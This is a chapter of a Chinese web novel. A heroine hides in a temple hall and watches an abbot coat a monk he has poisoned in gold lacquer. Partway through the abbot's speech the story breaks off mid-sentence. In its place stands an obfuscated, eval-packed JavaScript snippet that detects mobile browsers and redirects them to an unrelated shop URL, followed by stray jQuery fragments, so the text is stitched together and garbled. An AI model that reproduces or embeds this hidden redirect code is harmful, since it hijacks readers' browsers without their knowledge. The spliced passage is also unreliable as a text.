37. 无题

作品:《男装代笔后俘获乖戾公主

    正月初一,一年之始。


    大祭礼迎来了最后一日,请愿寺一众僧人围着所浴佛骨打坐念经,在诵声阵阵中最后凝结福德,传向更多人。


    前来拜别的信众跪于殿外蒲团,垂首合掌,无声跟随诵念。


    末了,僧人和有意愿的信众会在纸条上写明心中认为的住持人选,得支持多者为今年请愿寺的新住持,是为圆满结束。


    薛适并未参与,而是一直在房间忙着整理已经写完的离宫赋,待回过神已至申时。


    想到迟何午间过来送笔时提起,清弥法师几日前就已修成了金光咒,目前处于根固阶段,强加修炼好让金光稳定显现,持续的时间更久一些。不过最晚在今日信众离寺之前就能再现腊月初八那日情景,甚至更加金灿耀眼。


    说到这些,迟何很是愤愤:“皇子又怎样?利用我佛、欺瞒信众就是不对!等我师傅出来,定要大皇子目瞪口呆!大惊失色!”


    薛适笑着摸摸他的头:“嗯,没错。”


    思绪回笼,薛适却还是不免紧张担忧。将手稿锁好后,她决定去后厨帮阿雅打打下手,顺便在那儿一起等清弥法师出来。


    令她意外的是,薛适未在厨房看见阿雅准备晚膳的身影,四周阿雅可能去的地方薛适都找了个遍,依旧无果。


    负责清扫的小僧见了,主动道:“薛待诏是想寻些吃食,还是来找阿雅姑娘呀?”


    “我来找阿雅。小师傅可有见过她?”


    小僧点点头:“阿雅姑娘昨夜从清弥法师房间出来后,刚好和我碰见。她笑着跟我说,今日不会来厨房叨扰了,似是清弥法师同她约好大祭礼结束会在长临书院见面,她说今日要外出买些东西准备准备。”


    “好,我知道了,多谢小师傅。”


    薛适弯了弯唇,如此听来,想必清弥法师已经做出了凡心与佛心的选择,而阿雅也在满心期待着再次表明心意的那一刻。


    心中轻松不少,薛适从小僧那儿拿了个雪白喷香的蒸饼,又拾了些蜜煎做零嘴,一路吃着,朝清弥法师房间走去,打算在院中的石桌前等他出来一起去正殿重现金光,也好安心些。


    穿过高耸的竹树,前面便是清弥法师的房间。薛适影影绰绰看见清弥法师竟走出了院子,不由一喜,想是金光咒已经提前稳定修成了。正要远远唤一声,却见清缘住持紧随其后,也跟着走了出来,两人似在说着什么,然后一齐踏上了悬在沧远河上的石桥。


    薛适稳了稳脚下步伐,小心翼翼地也跟了上去。


    因着清缘住持与江接的关系,薛适不敢跟得太近,加之桥上又无处隐藏身形,只得约莫着等人走下石桥后才登桥跟上。


    两人走进了主殿另一侧稍远些的左偏殿,此刻正存放着将迎入大福殿的佛骨。许是因回京在即,这些佛骨更需多加看护灌洗,所以两位法师才一同到此。


    不过片刻,清缘住持已经走出了左偏殿,薛适这才放心加快步调进去,可殿内哪还有其他人的身影?


    “法……师?清弥法师?”殿内并无人应,薛适又里里外外找了好几遍,也没看到清弥法师。


    可她明明亲眼见着两个法师一同从清弥法师的院落出来,最后一齐进了这里,她与他们前后相差甚至不到一刻钟,清弥法师怎会突然不见呢?


    “怎么了?”


    正想着,身后忽然传来江岑许的声音,薛适讶异回头:“殿下?你怎么也来啦?”


    “我担心清弥法师修炼金光咒的事被江接的人发觉,就把身边的几个侍卫派到他身边暗中保护。方才一人传信说清缘法师来找了清弥法师,两人在房内待了许久,我过来后又刚好瞧见你跟在他们身后,便也一路跟了过来。”


    话音刚落,余下三个侍卫齐齐从暗处现身,禀道:“殿下,我们一路跟随到这,除了最后只见清缘法师一人出来外,并无其它异常。”


    薛适疑道:“三个侍卫大哥先到,我随后,然后是殿下,但都没看见清弥法师,难道……”


    “有密室。”两人对视一眼,异口同声。


    虽寺中设有密室并不算稀奇事,但清缘法师在主动约清弥法师一同前往偏殿之后,反倒只自己一人走了出来,很难不叫人多心。


    江岑许向侍卫沉声吩咐:“我和薛待诏进去看看,你们在外边留心周边情况,不到万不得已,不许贸然出手。”


    “是。”


    江岑许身边的人基本都在护送徐桓应时回了京城,除去方才到刺史府送信的一人,眼下留在身边的只有三个,但想必各个能力不凡,所以江岑许先前才会放心把他们派到清弥法师身边。


    薛适和江岑许一同踏入殿内,与门相对的正中央,高大慈悲的金色佛像靠墙矗立,一瞬映入眼帘。佛像身上袈裟宽松却挺括,悬垂于台座。远远看去,体态饱满而雄浑,含笑垂眸的面容虽显丰腴,却反倒因此多了亲和之气。


    佛像左侧摆放着将迎的几尊佛骨,右侧是一个暗红色的经书柜,高度差不多与胸齐平,最上端雕有镂空的楠竹纹路,古朴雅致。因经书都被移到了主殿供大祭礼上诵读,所以此刻柜中基本是空的。


    除此之外,殿内并无其他东西。薛适和江岑许仔细查看了一番,刚想从这些着手,挨个敲听寻觅密室所在时——


    忽地,一声类似木门被推开的沉闷响动隐隐从殿内正中传来,与此同时,殿内大门却“嘭”地一声合掩。


    薛适耳朵一动,刚想提醒江岑许,手腕却已被身旁之人先一步紧握,带着她藏到了不远处的经书柜中。


    一瞬间,黑如浪压,眼前光亮骤然掩于暗处,唯有镂空的楠竹泻落微弱的光影,让他们得以窥见外面。


    金色佛像的袈裟如门一般,伴随着方才沉闷的吱嘎声响,一点点向外移动,底下的台座亦随之旋转,慢慢地,上面竟显露出个人来,一动不动地躺着。紧接着,另一道身影负手站立,随后出现。


    一切响动渐渐停止。


    负手而立的身影脚踩台座悠然走下,赫然是前不久从正门出去的清缘住持,他的手中还拎着个木桶,不知想要做什么。待他将木桶放在一旁后,又转身将躺在台座上的人拖拽下来,与木桶并排。


    “真可惜啊清弥,你看不到我再次当选住持了。”


    “但这能怪谁呢。是你自己非要修炼金光咒,非要早早地就和五公主与薛待诏站在一起,同我作对,同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581950|136047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那位大人作对。”


    “不过,念在这几年的情分,我会实现你的心愿。”


    清缘住持森然地笑了起来,他掏出把毛刷,伸进旁边的木桶中一圈一圈搅拌,“时间太短了,做不成肉身佛,那便涂上金漆吧,也是一样的金色,不比你费尽心力地修炼金光咒要更容易、更有趣?”


    搅拌了会儿,清缘住持取出毛刷,木桶中无法看见的所盛之物,此刻清清楚楚地染在毛刷上,俨然是清缘住持口中的金漆。


    他从清弥法师的头开始,一下又一下地涂抹,悠然轻慢的样子,像是抚弄琴弦一般自若。


    “清弥果真是好容貌,届时掩于佛骨之中,送入大明宫,定会有贵人喜你拜你。我生怕折损了你的好皮囊,可是特地选了平眠散,从你房间到这刚好发作,中毒后又不至于凄惨狰狞,就像平日睡着一样,一切都刚刚好,真是妙哉……”


    即便殿中金佛坐镇,佛骨在侧,可他们终归只是静默地矗立在原地,不为所动,又怎能真正地救下谁。


    而连太阳都有无法照及之处,仅凭金色的佛身,又怎能驱散得了大门紧闭的殿内,逼仄汹涌的黑暗。


    佛能普世人,可前提是,世人本就怀揣一颗慈悲良善的心。


    若人皮之下藏着的是猛烈邪恶的兽心,就算是佛,也压不住。


    薛适抑制不住地颤抖起来,怕发出声响,她死死将手捂在嘴上,艰难地用鼻呼吸。可浑身席卷流动的恶寒,又毫不留情地将每一次攫取到的的呼吸竭力吞噬。


    清弥法师……死了……


    那个总会为他梳理佛法上的问题,会提醒她注意信赖佛法应有正确的尺度和边界,会用自己的全部守护信众信仰的清弥法师……死了……


    心中像是被垂落的巨石狠狠碾压,闷痛得她控制不住眼眶的酸涩与湿润,就连捂在嘴上的手,也将抵不住她发自本能的呜咽,薛适只得死死咬住唇。


    忽地,紧握住她手腕的人将她拽近了些,另一手向上,扣住了她捂在嘴上的手,一点一点,用力掰开。


    薛适的面容不再被手掌遮掩,水雾朦胧的眼,泪痕交错的颊,就这样直直撞进江岑许的视线,刺得他眼睫震颤,心跳猛地一滞。


    江岑许伸手,轻轻拉下薛适额上的白色发带,遮在她的眼前。然后,将人拥在了怀里,手掌安抚地,一下一下拍着她的后背。


    等怀中的人呼吸渐渐平顺下来,他指了指外面的清缘住持,又指了指自己,比了个手刀,接着指了指薛适,点了点原地。


    薛适明白,江岑许的意思是趁清缘住持不备,他出去将人敲晕,让她待在这里不要出去。


    但薛适却轻轻摇了摇头,她微微挣开江岑许的怀抱,眸光已是一片狠决清明。


    她从发间抽出根毛笔,然后掏出先前在后厨拿的只吃了一口的雪白蒸饼,在上面简单写着自己的计划,江岑许看后,点了点头。


    薛适暗暗深吸了口气,用衣袖蹭了蹭脸,心神已定。


    虽然她无法救回清弥法师,但眼下的她,并不是只能痛苦,其它什么也做不了。


    她要拼一次,她要清弥法师就算死,亦会令清缘住持败得彻底。